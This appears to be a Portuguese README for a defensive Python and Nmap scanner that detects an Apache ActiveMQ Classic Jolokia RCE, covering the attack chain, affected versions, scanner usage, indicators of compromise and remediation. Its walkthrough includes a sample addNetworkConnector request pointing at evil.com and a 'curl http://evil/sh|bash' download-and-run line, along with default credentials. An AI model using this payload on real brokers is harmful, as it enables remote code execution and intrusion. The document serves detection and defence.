
Detecta RCE no Apache ActiveMQ Classic (CVE-2026-34197) via API Jolokia com scripts Python e Nmap NSE, verificando acesso não autenticado e vulnerabilidade de versão.
Uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic que permite a um atacante executar código arbitrário ao invocar a operação MBean addNetworkConnector(String) através da API Jolokia (/api/jolokia/). O atacante incorpora um parâmetro brokerConfig malicioso apontando para um arquivo XML Spring remoto, que o ActiveMQ busca e analisa, instanciando objetos Java arbitrários e alcançando execução de código.
Nas versões 6.0.0 a 6.1.1 do ActiveMQ, o endpoint Jolokia é , tornando esta uma RCE não autenticada de zero clique.
Esta vulnerabilidade esteve oculta no código-fonte por 13 anos antes de ser descoberta com auxílio de IA.
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2026-34197 |
| Fornecedor | Apache Software Foundation |
| Produto | Apache ActiveMQ Classic |
| Versões Afetadas | Todas as versões anteriores a 5.19.4 e 6.2.3 |
| RCE Não Autenticada | Versões 6.0.0 a 6.1.1 (Jolokia sem autenticação) |
| CVSS v3.1 | 8.8 (Alta) |
| CWE | CWE-94 — Controle Inadequado da Geração de Código |
| Vetor de Ataque | Rede |
| Autenticação | Necessária na 5.x; nenhuma na 6.0.0 a 6.1.1 |
| Interação do Usuário | Nenhuma |
| Maturidade do Exploit | PoC público disponível |
| Corrigido Em | ActiveMQ Classic 5.19.4, 6.2.3 |
| Idade do Bug | ~13 anos no código-fonte |
| Descoberta | Pesquisa de vulnerabilidade assistida por IA |
O Apache ActiveMQ Classic é um dos brokers de mensagens de código aberto mais amplamente implantados no ecossistema Java. Ele implementa a especificação Java Message Service (JMS) e serve como espinha dorsal da comunicação assíncrona em milhares de ambientes empresariais em todo o mundo.
O ActiveMQ lida com tudo, desde filas de processamento de pedidos e pipelines de transações financeiras até fluxos de telemetria IoT e barramentos de eventos de microsserviços. Se a sua organização usa microsserviços baseados em Java, arquitetura orientada a eventos ou qualquer forma de mensageria assíncrona, há uma boa chance de o ActiveMQ estar em algum lugar da pilha.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Quando um atacante compromete o ActiveMQ, ele não obtém apenas um shell em um servidor. Ele se posiciona no **centro de todos os fluxos de mensagens** da organização, capaz de ler, modificar, redirecionar ou injetar mensagens entre sistemas críticos.
---
## Análise Aprofundada da Vulnerabilidade
### A Arquitetura: Jolokia e JMX
**JMX** (Java Management Extensions) é a interface de gerenciamento padrão para aplicações Java. Ela expõe "MBeans" (Managed Beans) que permitem monitorar e controlar os internals da aplicação. O ActiveMQ expõe MBeans para gerenciar brokers, filas, tópicos, conexões e muito mais.
**Jolokia** é uma ponte JMX-sobre-HTTP. Ela traduz operações JMX em uma API JSON RESTful, tornando possível gerenciar aplicações Java por meio de requisições HTTP, em vez de exigir um cliente JMX dedicado.
O ActiveMQ Classic vem com o Jolokia integrado, acessível em `/api/jolokia/` na porta do console web (padrão: 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
É aqui que o problema começa. O Jolokia expõe todo o poder da gestão JMX através de uma API HTTP simples. E uma das operações MBean disponíveis no broker é addNetworkConnector(String).
A operação addNetworkConnector(String) foi concebida para criar pontes de rede entre instâncias do broker ActiveMQ. Ela aceita uma string URI que descreve como ligar a outro broker.
O ActiveMQ suporta um esquema de URI vm:// para ligações de broker dentro do processo. Esses URIs suportam um parâmetro brokerConfig que aponta para um ficheiro de configuração Spring XML. E o Spring XML pode instanciar objetos Java arbitrários.
Aqui está a cadeia completa:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ está fazendo exatamente o que foi projetado para fazer: carregar uma configuração de broker. O problema é que a fonte da configuração é controlada pelo atacante, e o Spring XML é efetivamente um formato de execução de código.
### A Lacuna de Autenticação
É isso que eleva a vulnerabilidade de grave para crítica:
| Versão do ActiveMQ | Status de Autenticação do Jolokia | Impacto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticado (padrões: admin:admin) | RCE autenticado, frequentemente contornado trivialmente |
| 6.0.0 a 6.1.1 | **Completamente não autenticado** | **RCE não autenticado** |
| 6.1.2 a 6.2.2 | Autenticado | RCE autenticado |
| 5.19.4+ / 6.2.3+ | Corrigido | Não vulnerável |
No ActiveMQ 6.0.0 até 6.1.1, o endpoint Jolokia exige **zero autenticação**. Qualquer pessoa que consiga acessar a porta 8161 obtém execução remota de código não autenticada.
Mesmo nas versões em que o Jolokia exige autenticação, as credenciais padrão `admin:admin` são amplamente conhecidas e frequentemente deixadas inalteradas em ambientes de desenvolvimento, homologação e produção.
---
## Análise de Impacto
**Impacto imediato no host do broker:**
- Execução remota de código completa com os privilégios do processo do ActiveMQ
- Acesso a todas as filas de mensagens, tópicos e mensagens armazenadas
- Capacidade de ler/modificar/injetar mensagens em trânsito
- Acesso a arquivos de configuração, keystores e credenciais armazenadas
**Impacto downstream (via manipulação de mensagens):**
- Injeção de mensagens maliciosas em filas de processamento
- Modificação de transações financeiras, pedidos ou comandos em andamento
- Interceptação de dados sensíveis que fluem pelo broker
- Interrupção de todos os serviços dependentes de mensagens
**Amplificação do risco empresarial:**
- O ActiveMQ fica na interseção de todos os aplicativos que o utilizam
- Um único broker comprometido pode afetar dezenas de serviços conectados
- Brokers de mensagens são tipicamente posicionados em zonas de rede confiáveis com amplo acesso
- O movimento lateral é direto a partir da posição de rede do broker```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Versão | Status |
|---|---|
| ActiveMQ Classic 6.2.3+ | Corrigida |
| ActiveMQ Classic 5.19.4+ | Corrigida |
| ActiveMQ Classic 6.0.0 a 6.2.2 | Vulnerável (6.0.0 a 6.1.1 = sem autenticação) |
| ActiveMQ Classic < 5.19.4 | Vulnerável (autenticado) |
| ActiveMQ Artemis | Não afetado (base de código diferente) |
O script Python detecta instâncias vulneráveis do ActiveMQ por meio de uma análise em várias etapas.
Como funciona:
/api/jolokia/ está acessível sem autenticação (HTTP 200 = aberto, 401 = autenticação necessária)admin:admin, user:user, admin:activemq/admin/ e / usando correspondência de padrões regexorg.apache.activemq:type=Broker para confirmar que o caminho de exploração existeNenhum payload de exploração é enviado. Nenhum comando é executado. O scanner apenas observa a acessibilidade do endpoint e as informações de versão.
Uso:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Opções:**
| Bandeira | Descrição | Padrão |
|------|-------------|---------|
| `-t`, `--target` | URL de destino única (ex.: `http://host:8161`) | — |
| `-f`, `--file` | Arquivo com URLs de destino, uma por linha (comentários com `#` suportados) | — |
| `-u`, `--username` | Nome de usuário para autenticação Jolokia | — |
| `-p`, `--password` | Senha para autenticação Jolokia | — |
| `-o`, `--output` | Salvar resultados em arquivo JSON | — |
| `--timeout` | Tempo limite de conexão em segundos | `10` |
| `--verify-ssl` | Habilitar verificação de certificado SSL | Desabilitado |
| `-v`, `--verbose` | Saída detalhada com informações completas | Desligado |
**Exemplo de saída:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Exemplo de saída do Nmap:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Se quiser verificar manualmente com curl:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Se o Passo 1 retornar uma resposta JSON com informações do agente Jolokia, o endpoint não está autenticado. Se o Passo 2 funcionar com credenciais padrão, você tem acesso autenticado. De qualquer forma, se o MBean do broker estiver acessível, o caminho de exploração existe.
---
## Indicadores de Comprometimento
Fique atento a estes sinais no seu ambiente:
| Indicador | Onde Verificar | O Que Procurar |
|:---|:---|:---|
| Acesso Jolokia | Logs de acesso do console web | POST para `/api/jolokia/` contendo `addNetworkConnector` |
| Busca de saída | Logs de rede / firewall | Requisições HTTP do ActiveMQ para hosts externos inesperados |
| Carregamento de Spring XML | Logs do ActiveMQ | Referências a URIs `xbean:http://` |
| Conectores de rede | Configuração do broker | URIs `vm://` com parâmetros `brokerConfig` que você não criou |
| Processos filhos | Monitoramento de processos | Processos inesperados gerados pelo processo Java do ActiveMQ |
**Comandos de investigação:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Ações imediatas (faça estas agora):
/api/jolokia/admin:admin no console webCurto prazo (esta semana):
addNetworkConnector)Longo prazo:
Kerem Oruç — Engenheiro de Cibersegurança